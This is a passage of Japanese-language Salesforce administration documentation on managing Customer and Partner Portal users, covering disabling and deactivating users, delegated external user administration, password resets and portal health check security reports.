作成されているが、新規取引先には 1 つのロールしか必要ではない場合、ロー
ル数を 1 つに減らすことができます。カスタマーポータル取引先には、最大 3 つ
のロールを設定できます。カスタマーポータル取引先のデフォルトのロール数
は 3 です。
カスタマーポータル取引先あたりのロール数を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設定]

を選択します。
2. [ポータル取引先あたりのロール数を設定] をクリックします。
3. [編集] をクリックします。
4. [ロール数]ドロップダウンリストで、カスタマーポータル取引先あたりのデフォルトのロール数を設定し

ます。
5. [保存] をクリックします。
既存のポータル取引先のロール数はこの設定では変更されません。

関連トピック:

取引先責任者と個人取引先に対するカスタマーポータルの有効化
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ポータルユーザの無効化と非アクティブ化

エディション

使用可能なエディション:
Salesforce Classic

カスタマーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタマーポータルユー
ザを無効または非アク
ティブにする
• カスタマーポータル

ユーザに関連付けられ
ている取引先に対する
「編集」

および

「セルフサービスユー
ザの編集」

パートナーポータルユー
ザを無効または非アク
ティブにする
• パートナーポータル

ユーザに関連付けられ
た取引先に対する「編
集」

および

「外部ユーザの管理」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルまたはパートナーポータルへの顧客のアクセスを
削除する方法は 2 つあります。下記で説明しているように、ポータルユーザの
無効化は永続的である一方、ポータルユーザの非アクティブ化は一時的です。
ポータルユーザの無効化

ポータルユーザの無効化には、次のアクションが含まれます。
• ユーザのポータルへのアクセスの終了。
• ユーザが関連付けられているすべてのグループ、チーム、共有ルールか

らの削除。
• ポータルユーザの取引先適任者に対する関連性の永続的な削除。

ポータルにアクセスするために取引先責任者を再度有効にする場合、以
前のポータルユーザレコードに関連しない新しいポータルユーザが作成
されます。

• ポータルユーザレコードの[ロール]の削除。
• パートナーユーザの場合、パートナーユーザロールの廃止。その結果、

次のようになります。
– ユーザのデータは、パートナー取引先所有者のロールに集計されなく

なる
– そのユーザが所有する商談は、組織の売上予測階層から削除される

メモ: パートナーユーザを無効化する前に、そのユーザが所有す
る商談を有効なユーザに移行することをお勧めします。

以下の条件に当てはまる場合、ポータルユーザを無効化することをお勧めし
ます。
• 取引先責任者が誤ってポータルユーザとして有効化された場合
• ポータルユーザが重複する取引先責任者と関連付けられている場合
• 取引先責任者のポータルへのアクセスを望まない場合

メモ: Salesforce では、ポータルユーザレコードなどのユーザレコードは
削除されません。無効化されたポータルユーザを再度有効にすることは
できませんが、[設定] から [クイック検索]ボックスに「ユーザ」と入力
し、[ユーザ]を選択して、無効化されたユーザのレコードを表示および
更新することはできます。
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ポータルユーザの非アクティブ化
ポータルユーザを非アクティブ化すると、ユーザはポータルにログインできなくなり、所属しているチー
ム (ケースチームや取引先チームなど) からユーザを削除することができます。ポータルユーザを非アクティ
ブ化した場合でも、ポータルユーザレコードの取引先責任者との関連付けが永続的に失われるわけではあ
りません。ポータルユーザは、いつでも再度アクティブ化することができます。

メモ: 外部ユーザの代理管理者がポータルユーザを非アクティブ化した場合、システム管理者はその
ユーザが所属するチームからポータルユーザを削除することはできません。

後でポータルユーザを非アクティブ化する可能性がある場合、ポータルユーザを非アクティブ化すること
をお勧めします。
取引先チームのユーザに「参照・更新」アクセス (取引先アクセス、取引先責任者アクセス、商談アクセ
ス、およびケースアクセス) があり、そのユーザが無効になっている場合、ユーザが再度有効になると、ア
クセスは「参照のみ」になります。

ポータルユーザの無効化
ポータルユーザを無効にする手順は、次のとおりです。
1. 取引先責任者の詳細ページで [外部ユーザの管理] をクリックし、[カスタマーユーザを無効化] または [パー

トナーユーザを無効化]を選択します。個人取引先の取引先詳細ページで、[外部取引先の管理]をクリック
し、[カスタマー取引先を無効化] を選択します。
個人取引先は、パートナーポータルでは使用できません。

2. [OK] をクリックします。

ポータルユーザの非アクティブ化
ポータルユーザを非アクティブにする手順は、次のとおりです。
1. カスタマーポータルの場合、取引先責任者または個人取引先詳細ページの [外部ユーザの管理] をクリック

し、[カスタマーユーザの参照]を選択します。パートナーポータルの場合、取引先責任者詳細ページの [外
部ユーザの管理] をクリックし、[パートナーユーザを参照] を選択します。
個人取引先は、パートナーポータルでは使用できません。

2. [編集] をクリックして、[有効] チェックボックスをオフにします。
ポータルユーザを再度アクティブ化するには、[有効] チェックボックスをオンにします。

3. [保存] をクリックします。

メモ: ポータルユーザの一括非アクティブ化はできません。

ポータルユーザの無効化と非アクティブ化に関するヒント
ポータルユーザを無効化または非アクティブ化するときは、次の点に留意してください (無効化は永続的、非
アクティブ化は一時的)。
• アクティブなポータルユーザは削除できません。そのユーザのポータルへのアクセスを無効または非アク

ティブにすることはできます。
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• 次の表に、ポータルユーザに関連付けられた取引先責任者を削除できるかどうかを示します。

取引先責任者を削除できるかどうか取引先責任者に関連付けられたポータルユーザの状
態

いいえ。これは、ポータルユーザを再度有効にする
場合に取引先責任者を確保しておくためです。

有効なポータルユーザ

いいえ。これは、ポータルユーザを再度有効にする
場合に取引先責任者を確保しておくためです。

非アクティブ化されたポータルユーザ

はい、できます。削除した取引先責任者は、ごみ箱
に送られます。

無効化されたポータルユーザ

• ポータルを使用できる取引先責任者を削除するには、まずポータルユーザを削除してから、取引先責任者
を削除します。

• ポータルユーザを無効化または非アクティブ化した場合、ポータルユーザに関連付けられたケースは更新
されません。たとえば、ポータルユーザがケースを所有しており、そのポータルユーザが無効化されると、
ケースに新しい所有者が割り当てられるまで、そのケースの所有権はユーザに保持されます。

• パートナーユーザを無効にする前に、ユーザが所有する商談を、今後も有効な別のユーザに所有権を移行
することをお勧めします。これはパートナーユーザを無効化すると、そのユーザが所有する商談が組織の
売上予測階層から削除されるためです (パートナーユーザのロールは破棄されます)。

• ポータルユーザを無効化すると、最長 10 秒でそのユーザが無効となります。その間、ポータルユーザが
ポータルにアクションを実行できます。

• [カスタマーユーザを無効化] ボタンおよび [パートナーユーザを無効化] ボタンは、取引先責任者のページ
レイアウトからいつでも削除することができます。それらのボタンを削除すると、「セルフサービスユー
ザの編集」権限または「外部ユーザの管理」権限を持つユーザがポータルユーザを無効化できなくなりま
す。

• 無効化または非アクティブ化されたポータルユーザは、組織で使用可能なユーザライセンスには含まれま
せん。ただし、ポータルユーザを無効化または非アクティブ化しても、請求対象のライセンス数は減りま
せん。請求対象を変更するには、組織のライセンス数を変更する必要があります。

• 取引先と関連付けられているすべてのポータルユーザを無効化し、永続的にすべての取引先のポータルロー
ルおよびグループを削除する手順は、次のとおりです。
– パートナーポータルの取引先の [外部取引先の管理] をクリックし、[パートナー取引先の無効化] を選択

します。
– カスタマーポータル取引先またはカスタマーポータル個人取引先の[外部取引先の管理]をクリックし、

[カスタマー取引先を無効化] を選択します。
[カスタマー取引先を無効化] ボタンおよび [パートナー取引先の無効化] ボタンは、取引先のページレイア
ウトからいつでも削除することができます。それらのボタンを削除すると、「セルフサービスユーザの編
集」権限または「外部ユーザの管理」権限を持つユーザがポータル取引先を無効化できなくなります。

• ポータルユーザまたはポータルの取引先を無効化した場合、その変更は設定変更履歴に記録されます。
• 個人取引先と関連付けられている、無効化されたポータルユーザのポータルロールは削除されません。た

だし、次のような手順で、ポータルロールを手動で削除することができます。
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[設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。1.

2. 無効化されたポータルユーザの名前を選択します。
3. [編集] をクリックします。
4. [ロール] ドロップダウンリストから [なし] を選択します。
5. [保存] をクリックします。

関連トピック:

取引先責任者と個人取引先に対するカスタマーポータルの有効化

カスタマー取引先の無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

取引先を作成または無効
化する
• 取引先に対する「作

成」

カスタマー取引先を有効
化する
• 「外部ユーザの管理」

カスタマー取引先を無効化すると、その取引先に関連付けられている外部ユー
ザも無効化されます。カスタマー取引先が誤って有効化された場合にのみ、そ
の取引先を無効化することをお勧めします。
カスタマー取引先は削除できませんが、無効化することはできます。取引先を
完全に無効化すると、その取引先に関連付けられている最大 100 件の外部ユーザ
が無効になり、関連付けられているすべてのコミュニティ、グループ、チーム、
権限セット、共有ルールから削除されます。これは、有効な外部ユーザおよび
無効な外部ユーザのいずれの場合にも該当します。また、取引先に関連付けら
れているロールおよびグループは完全に削除され、ごみ箱から復元するオプショ
ンもありません。

メモ:  100 件を超える有効な外部ユーザまたは無効な外部ユーザが関連付け
られている取引先は無効化できません。取引先を無効化する前に、ユーザ
を無効化する必要があります。

1. 無効化する取引先の取引先詳細ページに移動します。
2. [外部取引先管理] をクリックし、[カスタマー取引先を無効化] をクリックし

ます。
3. [OK] をクリックして確認します。
後で取引先を再有効化する場合、個別の取引先責任者をカスタマーポータルユー
ザとして再度有効化できます。カスタマーポータルの取引先責任者を再度有効
化すると、以前のカスタマーポータルユーザのレコードやロールに関連付けら
れていない新しいカスタマーポータルユーザのレコードおよびロールが作成さ
れます。削除されたロールやグループを復元することはできません。
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カスタマーポータルユーザ情報の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「セルフサービスユーザの編集」カスタマーポータルユーザを管理する

「プロファイルと権限セットの管理」プロファイルと権限セットを管理する

「アプリケーションのカスタマイズ」ページレイアウトを作成、編集、および
削除する

「プロファイルと権限セットの管理」

および

「アプリケーションのカスタマイズ」

項目レベルセキュリティを設定する

「共有の管理」共有ルールを設定する

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用できません。既存の組織は、
引き続きカスタマーポータルにアクセスすることができます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを継続して使用することも、コ
ミュニティに移行することもできます。詳細は、Salesforceアカウントエグゼクティブにお問い合わせくだ
さい。

自身がアクセス権限を持っている取引先と関連付けられている取引先責任者の Salesforce カスタマーポータル
ユーザ情報を編集できます。カスタマーポータルユーザの情報を編集する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
2. ユーザ名の横にある [編集] をクリックします。
3. 必要な情報を変更し、[保存] をクリックします。

カスタマーポータルユーザ情報の編集のヒント
カスタマーポータルユーザ情報を編集するときは、次の点に留意してください。
• カスタムリストビューを作成し、ライセンスの種類をカスタマーポータルマネージャとカスタマーポータ

ルユーザに絞り込んで、カスタマーポータルユーザのみを表示します。たとえば、「ライセンスの種類」
「次の文字列と一致する」「カスタマーポータルユーザ、カスタマーポータルマネージャ」という条件を
使用します。

• ユーザに対して新規パスワードが生成されると、そのパスワードが自動的にユーザのメールアドレスに送
信されます。メールの確認は行われません。

• ユーザのメールアドレスを新規メールアドレスに変更しても、確認メールは送信されません。
• カスタマーポータルユーザに割り当てられたホームページレイアウトに [カスタマーポータルへようこそ]

コンポーネントを追加して、ユーザがポータルにログインしたときに、ユーザの名前が記載されたようこ
そメッセージが送信されるようにします。ユーザは、このコンポーネントから、各自のポータルユーザ名、
パスワード、ロケール、言語、タイムゾーン、連絡先情報を変更できます。ポータルユーザが自分自身の
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情報を変更すると、そのユーザレコードは更新されますが、その変更に基づいてユーザの取引先責任者レ
コードが自動的に更新されることはありません。

関連トピック:

カスタマーポータルユーザの管理について
ポータルユーザの無効化と非アクティブ化

カスタマーポータルユーザのパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルユー
ザのパスワードをリセッ
トする
• 「セルフサービスユー

ザの編集」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルユーザが自分のパスワードを紛失した場合、カス
タマーポータルのログインページにある [パスワードをお忘れですか?]リンクを
クリックすると、新しいパスワードがメールで通知されます。
カスタマーポータルユーザのパスワードをリセットする手順は、次のとおりで
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にあるチェックボックスを選択します。現在表示されている

ユーザ全員のパスワードを変更するには、列のヘッダーにあるチェックボッ
クスをオンにして、すべての行を選択します。

3. [パスワードのリセット]をクリックします。パスワードをリセットするためのリンクと手順が含まれたメー
ルがユーザに送信されます。

ヒント: カスタマーポータルユーザに割り当てられたホームページレイアウトに [カスタマーポータルへ
ようこそ] コンポーネントを追加することができます。ポータルにログインする各カスタマーポータル
ユーザにはユーザ名が記載された「お知らせ」メッセージだけが送信されます。また、ユーザは自分の
ポータルのユーザ名、パスワード、ロケール、言語、タイムゾーンおよび連絡先情報を変更できます。
ポータルユーザが自分自身の情報を変更するとそのユーザレコードが更新されますが、その変更を使っ
てユーザの取引先責任者レコードが自動的に更新されることはありません。

関連トピック:

カスタマーポータルユーザの管理について
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カスタマーポータルユーザの代理管理とポータルスーパーユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルユー
ザを管理する
• 「外部ユーザの代理管

理者」

プロファイルを作成、編
集、および削除する
• 「プロファイルと権限

セットの管理」

取引先のすべてのケース
と取引先責任者を表示お
よび編集する
• 「ポータルスーパー

ユーザ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータルマネージャのカスタムユーザライセンスを使用して、管理
権限の一部をカスタマーポータルユーザに委譲できます。外部ユーザの代理管
理者は、自分の取引先に関連付けられた外部ユーザ (カスタマーユーザとパート
ナーユーザの両方を含む) に対して、次の処理を行うことができます。
• 外部ユーザの新規作成
• 既存の外部ユーザの編集
• 外部ユーザのパスワードのリセット
• 既存の外部ユーザの無効化

メモ: 外部ユーザの代理管理者がポータルユーザを非アクティブ化した
場合、システム管理者はそのユーザが所属するチームからポータルユー
ザを削除することはできません。

外部ユーザの代理管理者は、[取引先] タブを使用して、自分の取引先の詳細ペー
ジ、および自分の取引先に関連する取引先責任者とケースを表示できます。ま
た、外部ユーザの代理管理者には、「ポータルスーパーユーザ」権限が与えら
れます。この権限によって、外部ユーザの代理管理者は自分の取引先に対して
次の処理を実行できます。
• すべてのケースの表示、編集、および移行
• 取引先責任者のケースの作成
• ポータルが有効化されているかどうかに関係なく、すべての取引先責任者の表示と編集
• ケースの取引先責任者である場合、取引先の詳細の参照
• カスタマーポータルに [レポート] タブが追加されており、ユーザが「レポート実行」権限を持っている場

合、ポータルが有効であるかどうかに関係なく、すべての取引先責任者のレポートの作成
外部ユーザ (大規模ポータルユーザを除く) のプロファイルに「ポータルスーパーユーザ」権限を追加するだけ
で、その外部ユーザは自分の取引先にアクセスできるようになり、他の外部ユーザの管理権限はありません
が、その取引先のすべてのケースと取引先責任者の参照と編集ができます。ただし、スーパーユーザが、[カ
スタマーポータル]の [取引先責任者] タブを表示するには、「外部ユーザの代理管理者」権限が必要です。スー
パーユーザが取引先責任者を編集するには、ケースレコードから取引先責任者を選択する必要があります。詳
細は、以下を参照してください。
• 外部ユーザの管理権限の委譲
• 「ポータルスーパーユーザ」権限のユーザへの付与
• カスタマーポータルユーザの代理管理の設定に関するヒント
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外部ユーザの管理権限の委譲

メモ: 外部ユーザの管理権限を委任するには、元のプロファイルユーザインターフェースを使用する必要
があります。拡張プロファイルユーザインターフェースを使用している場合は、ユーザインターフェー
ス設定で一時的に無効にし、この手順を実行してください。

外部ユーザの管理権限を委任する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル]を選択してカスタムカ

スタマーポータルプロファイルをクリックします。
標準のカスタマーポータルマネージャ、カスタマーポータルユーザ、または大規模カスタマーポータルの
プロファイルに、代理権限または「ポータルスーパーユーザ」権限を追加することはできません。

2. [編集] をクリックします。
3. [外部ユーザの代理管理]を選択します。

[外部ユーザの代理管理]を選択した場合は、[保存]をクリックすると自動的に [ポータルスーパーユーザ]が
選択されます。

4. [保存] をクリックします。
5. [代理外部ユーザプロファイル] 関連リストで、[編集] をクリックします。
6. このプロファイルを持つ外部ユーザが管理できるプロファイルを選択します。外部ユーザの代理管理者は、

カスタマーポータルプロファイル、パートナーポータルプロファイル、またはコミュニティプロファイル
を持つ外部ユーザを管理できます。ただし、プロファイルを持つユーザは、同じ取引先に存在する必要が
あります。

7. [保存] をクリックします。
カスタマーポータルユーザの代理管理者が編集できるプロファイルを変更する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル]を選択してカスタムカ

スタマーポータルプロファイルをクリックします。
2. [代理外部ユーザプロファイル] 関連リストで、[編集] をクリックします。
3. このプロファイルを持つ外部ユーザが管理できるプロファイルを選択します。
4. [保存] をクリックします。
カスタマーポータルの代理管理者は、取引先責任者詳細ページから次のタスクを実行できます。
• [カスタマーポータルユーザの有効化] をクリックして、取引先責任者が、カスタマーポータルを使用でき

るようにします。
• [カスタマーポータルユーザの参照] をクリックして、カスタマーポータルユーザの詳細を表示します。カ

スタマーポータルユーザの詳細ページで、カスタマーポータルの代理ユーザは次の操作を実行できます。
– [編集] をクリックして、カスタマーポータルユーザの詳細を編集する。
– [パスワードのリセット] をクリックして、カスタマーポータルユーザのパスワードをリセットする。
– [編集] をクリックして、[有効] チェックボックスをオフにしてユーザを非アクティブにする。

2895

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



「ポータルスーパーユーザ」権限のユーザへの付与
ユーザに「ポータルスーパーユーザ」権限を許可する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル]を選択してカスタムカ

スタマーポータルプロファイルをクリックします。
標準のカスタマーポータルマネージャ、カスタマーポータルユーザ、または大規模カスタマーポータルの
プロファイルに、「ポータルスーパーユーザ」権限を追加することはできません。

2. [編集] をクリックします。
3. [ポータルスーパーユーザ]を選択します。
4. [保存] をクリックします。

ヒント: 「ポータルスーパーユーザ」権限を持つプロファイルについてレポートする手順は、次のとおり
です。
1. 「ポータルスーパーユーザ」権限を持つプロファイルの名前をメモします。
2. [レポート] タブを選択します。
3. [管理レポート] フォルダから、[有効ユーザ一覧] レポートを選択します。

カスタマーポータルユーザの代理管理の設定に関するヒント
カスタマーポータルユーザの代理管理を設定するときは、次の点に留意してください。
• 代理ポータル管理権限を許可するユーザのプロファイルに対して、次の操作を実行します。

– 取引先責任者に対する「作成」および「編集」権限を追加して、代理ポータル管理者、および「ポータ
ルスーパーユーザ」権限を持つユーザが自分の取引先に関連する取引先責任者を作成および更新できる
ようにします。

– [取引先] と [取引先責任者] のタブ設定を [デフォルトで表示] に設定して、代理ポータル管理者が、[取引
先] および [取引先責任者] タブを表示して取引先に関連する取引先責任者を簡単に管理できるようにし
ます。

• [取引先と取引先責任者] タブを [カスタマーポータル] に追加します。
• カスタマーポータルユーザ代理管理者とポータルスーパーユーザだけが、指定した取引先、取引先責任者、

およびケースにアクセスできるように、項目レベルセキュリティとページレイアウトを設定します。

メモ: ポータルスーパーユーザが自分以外の取引先責任者のケースを作成できるようにするには、ケー
スの [取引先責任者名] の項目レベルセキュリティを [編集可] に設定します。

• カスタマーポータルユーザは、自分がアクセス権を持っていないオブジェクトの関連リストを表示できま
せん。たとえば、カスタマーポータルユーザが取引先責任者を表示する場合に、取引先責任者ページレイ
アウトに [商談] 関連リストが含まれていても、そのポータルユーザは、商談に対するアクセス権を持って
いないため、その [商談] 関連リストを表示できません。

• カスタマーポータルユーザの代理管理者は、所有権が移行される取引先のポータルユーザを更新できます。

関連トピック:

カスタマーポータルユーザの管理について
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カスタマーポータルのヘルス

ポータル状態チェック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル状態チェックレ
ポートを表示する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「すべてのデータの編
集」

顧客とパートナーは、さまざまな方法で、ポータルを介して情報にアクセスで
きます。システム管理者はポータル状態チェックレポートを使用して、このア
クセスを容易に監視できます。ポータル状態チェックレポートには、セキュリ
ティ関連のポータル設定について示し、ポータルセキュリティの向上に使用で
きる情報を提供します。
カスタマーポータルおよびパートナーポータルを使用して、顧客とパートナー
を連携させ、サービスを提供することができます。ポータルによって、サード
パーティのユーザと情報を共有および取得できます。意図する以上の情報を公
開しないためには、ポータル実装のベストプラクティスに従うことが重要です。

メモ: ポータル状態チェックレポートには、プロファイルで許可される重
要なユーザ権限、オブジェクト権限、項目権限、および組織の共有設定お
よび共有ルールが示されます。また、次の方法を使用して、ポータル状態
チェックレポートに含まれていないレコードにアクセスすることもできま
す。
• 権限セット
• 共有の直接設定
• Apex による共有管理
• テリトリー
• リストビュー
• グループ
• キュー
• チーム
• コンテンツライブラリ
• フォルダ

ポータル状態チェックレポートを表示するには、[設定] から、[クイック検索]ボックスに「ポータル状態チェッ
ク」と入力し、[ポータル状態チェック] を選択します。最後に、目的のレポートをクリックします。
レポートは、次のとおりです。
• システム管理者権限とユーザ権限
• オブジェクトのアクセスと項目レベルセキュリティ
• 組織のデフォルト共有
• 共有ルール
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メモ: ポータル状態チェックレポートには、条件に基づく共有、大規模ポータルユーザ、またはセルフ
サービスポータルユーザについての情報は含まれません。

関連トピック:

ポータルユーザのシステム管理者権限とユーザ権限レポートの表示
ポータルユーザのオブジェクトアクセスおよび項目レベルセキュリティレポートの表示
ポータルユーザの組織の共有設定の共有レポートの表示
ポータルユーザの共有ルールレポートの表示

ポータルユーザのシステム管理者権限とユーザ権限レポートの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル状態チェックレ
ポートを表示する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「すべてのデータの編
集」

データへのユーザのアクセス権限を拡張したため、ユーザ権限は強力です。プ
ロファイルの権限を設定する場合、注意が必要です。ポータル状態チェックレ
ポートの 1 つであるシステム管理者権限とユーザ権限レポートを使用して、ポー
タルプロファイルと重要権限設定を参照します。

メモ: このレポートでは、権限セットで許可された権限は表示しません。

プロファイルごとに、レポートにはプロファイルに割り当てられたポータルユー
ザの数、そして次の権限設定について示します。
• 外部ユーザの代理管理
• メールの送信
• 取引の開始
• 行動の編集
• 商談商品販売価格の編集
• ToDo の編集
• ケースの移行
• ポータルスーパーユーザ
• API の有効化
• パスワード無制限
• ライブラリの作成
• レポートのコンテンツ表示
• レポートのエクスポート
• レポート実行

メモ: 組織の設定に応じて、一部の権限がレポートに表示されません。

レポートを参照する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ポータル状態チェック」と入力し、[ポータル状態チェック] を選

択します。
2. [システム管理者権限とユーザ権限] をクリックします。
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レポートページから、次の操作を実行できます。
• プロファイル名をクリックして、プロファイルの詳細ページを表示する。
• ドロップダウンリストから事前定義されたビューを選択することにより、項目の条件設定済みリストを表

示する。
• [リストに戻る: ポータル状態チェックレポート] をクリックしてレポートのリストに戻る。

関連トピック:

ポータル状態チェック

ポータルユーザのオブジェクトアクセスおよび項目レベルセキュリティレポートの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル状態チェックレ
ポートを表示する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「すべてのデータの編
集」

オブジェクト権限は、標準オブジェクトおよびカスタムオブジェクトに対する
アクセス権限を指定します。ポータルユーザが適切なオブジェクトおよび項目
にのみアクセスできるように、ポータルユーザプロファイルのこの情報を監視
することが重要です。ポータル状態チェックレポートの 1 つである、オブジェ
クトアクセスおよび項目レベルセキュリティレポートでは、この操作が可能で
す。
オブジェクトアクセスおよび項目レベルセキュリティレポートには、組織の各
標準オブジェクトおよびカスタムオブジェクトにアクセスできるポータルプロ
ファイルの数が表示されます。オブジェクトごとに、アクセス権のあるポータ
ルユーザの数、オブジェクトアクセスレベル、およびそれらのユーザに表示さ
れる項目も表示されます。

メモ: オブジェクトアクセスおよび項目レベルセキュリティレポートでは、
権限セットで許可された権限は表示しません。

レポートを参照する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「ポータル状態チェック」と入力し、

[ポータル状態チェック] を選択します。
2. [オブジェクトアクセスおよび項目レベルセキュリティ] をクリックします。
3. レポートページから、オブジェクト名をクリックします。

オブジェクトの詳細ページでは、次の操作を実行できます。
• プロファイル名をクリックして、プロファイルの詳細ページを表示する。
• [参照可能項目]をクリックして、プロファイルの項目レベルセキュリティ

詳細ページを表示する。
• [オブジェクトアクセスおよび項目レベルセキュリティ]をクリックして、高レベルのオブジェクトアク

セスおよび項目レベルセキュリティレポートに戻る。

両方のレポートページから、次の操作を実行できます。
• ドロップダウンリストから事前定義されたビューを選択することにより、項目の条件設定済みリストを表

示する。
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• [リストに戻る: ポータル状態チェックレポート] をクリックしてレポートのリストに戻る。

関連トピック:

ポータル状態チェック
オブジェクトの権限
項目レベルセキュリティ

ポータルユーザの組織の共有設定の共有レポートの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル状態チェックレ
ポートを表示する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「すべてのデータの編
集」

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

ポータル状態チェックレポートの 1 つである組織の共有設定の共有レポートは、
標準オブジェクトとカスタムオブジェクト、そして各オブジェクトのデフォル
トアクセス設定が表示されます。このレポートを使用して、レコードをポータ
ルユーザに公開することができる組織の共有設定を確認および編集できます。
組織のデフォルト設定は、組織のユーザの各オブジェクトに対するデフォルト
アクセスレベルを指定します。オブジェクトのデフォルトアクセスレベルが公
開である場合、有効なオブジェクト権限 (「参照」、「作成」、「編集」、「削
除」) を持つユーザは、所有していないレコードにアクセスできる場合がありま
す。たとえば、取引先オブジェクトのデフォルトアクセス設定が公開/参照・更
新可能の場合、取引先オブジェクトに対して「参照」権限を持つユーザは取引
先レコードを表示できます。組織のデフォルトを設定する場合、ポータルユー
ザにアクセスできないオブジェクトを表示しないようにする必要があります。
レポートを参照する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「ポータル状態チェック」と入力し、

[ポータル状態チェック] を選択します。
2. [組織の共有設定の共有] をクリックします。

レポートには、各オブジェクトのデフォルトアクセス設定が表示されます。
オブジェクトのデフォルトアクセスが、公開、詳細を表示 (カレンダー)、ま
たは使用 (価格表) である場合、オブジェクト権限を持つポータルユーザは、
その他のユーザのレコードにアクセスできます。この場合、[セキュリティ]

列には、セキュリティの弱い組織の共有設定が表示されます。オブジェクト
アクセスおよび項目レベルセキュリティレポートに、ポータルプロファイル
に割り当てられた特定のオブジェクト権限を表示できます。
オブジェクトのデフォルトアクセスが、非公開、詳細を非表示 (カレンダー)、
またはアクセス権限なし (価格表) である場合、[セキュリティ] 列には、セキュ
リティの強い組織のデフォルト設定が表示されます。

メモ: セキュリティの強い組織のデフォルト設定でも、ポータルユーザは共有ルールなどの例外によ
り、他のユーザのレコードにアクセスできる場合があります。

[階層を使用したアクセス許可]がオンの場合、テリトリーまたはロール階層でレコード所有者より上のユー
ザは、そのオブジェクトの所有者のレコードにアクセスできます。

レポートページから、次の操作を実行できます。
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• [編集]をクリックし、[組織の共有設定の編集] ページで設定を変更して、任意のオブジェクトの組織の共有
設定を変更する。

• ドロップダウンリストから事前定義されたビューを選択することにより、項目の条件設定済みリストを表
示する。

• [リストに戻る: ポータル状態チェックレポート] をクリックしてレポートのリストに戻る。

関連トピック:

ポータル状態チェック

ポータルユーザの共有ルールレポートの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ポータル状態チェックレ
ポートを表示する
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「すべてのデータの編
集」

共有ルールを作成および
編集する
• 「共有の管理」

ポータル状態チェックレポートの 1 つである共有ルールレポートには、ポータ
ルユーザに所有していないレコードへのアクセス権を与える共有ルールがすべ
て表示されます。各共有ルールの結果としてレコードにアクセスできるように
なるポータルユーザの数が表示され、これにより各ルールのアクセスレベルを
編集できます。一部のユーザセット (グループ、ロール、テリトリーなど) では、
